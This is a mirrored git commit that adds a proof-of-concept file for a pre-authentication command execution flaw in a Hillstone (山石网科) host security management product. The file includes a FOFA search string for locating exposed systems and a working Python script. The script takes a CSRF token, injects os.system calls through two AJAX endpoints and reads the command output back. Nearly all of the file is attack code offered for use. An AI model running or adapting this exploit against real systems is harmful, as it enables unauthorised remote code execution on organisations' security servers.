mirror of
https://github.com/wy876/POC.git
synced 2025-02-27 04:39:25 +00:00
Create 山石网科云鉴存在前台任意命令执行漏洞.md
This commit is contained in:
parent
51a0e23f6c
commit
cf75a6db7c
47
山石网科云鉴存在前台任意命令执行漏洞.md
Normal file
47
山石网科云鉴存在前台任意命令执行漏洞.md
Normal file
@ -0,0 +1,47 @@
|
||||
## 山石网科云鉴存在前台任意命令执行漏洞
|
||||
|
||||
## fofa
|
||||
```
|
||||
"山石云鉴主机安全管理系统"
|
||||
```
|
||||
|
||||
## poc
|
||||
```
|
||||
import requests
|
||||
'''
|
||||
HSVD-2023-0008
|
||||
'''
|
||||
def setSystemTimeAction(newcsrf,headers):
|
||||
url = "https://192.168.199.221/master/ajaxActions/setSystemTimeAction.php?token_csrf="+newcsrf
|
||||
proxies = {'https':'http://127.0.0.1:8080'}
|
||||
x = "param=os.system('id > /opt/var/majorsec/installation/master/runtime/img/config')"
|
||||
#req2 = requests.post(url2, data=x, proxies=proxies, verify=False, headers=headers)
|
||||
req2 = requests.post(url, data=x,headers=headers, verify=False)
|
||||
|
||||
'''
|
||||
HSVD-2023-0005
|
||||
'''
|
||||
def getMessageSettingAction(newcsrf,header):
|
||||
proxies = {'https':'http://127.0.0.1:8080'}
|
||||
company_uuid = "aaa"
|
||||
platform_sel = "os.system('id > /opt/var/majorsec/installation/master/runtime/img/config')"
|
||||
url = 'https://192.168.199.221/master/ajaxActions/getMessageSettingAction.php?token_csrf='+newcsrf+"&company_uuid="+company_uuid+"&platform_sel="+platform_sel
|
||||
req = requests.get(url, headers=header, verify=False)
|
||||
print(req.text)
|
||||
|
||||
|
||||
def main():
|
||||
headers = {"Cookie": "PHPSESSID=emhpeXVhbg;",
|
||||
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"
|
||||
}
|
||||
url = "https://192.168.199.221/master/ajaxActions/getTokenAction.php"
|
||||
req = requests.post(url, verify=False, headers=headers)
|
||||
newcsrf = req.text.replace("\n", "")
|
||||
setSystemTimeAction(newcsrf,headers)
|
||||
reshell = requests.get('https://192.168.199.221/master/img/config',verify=False)
|
||||
print('---------------------cmd-------------------------')
|
||||
print(reshell.text)
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
```
|
||||
Loading…
x
Reference in New Issue
Block a user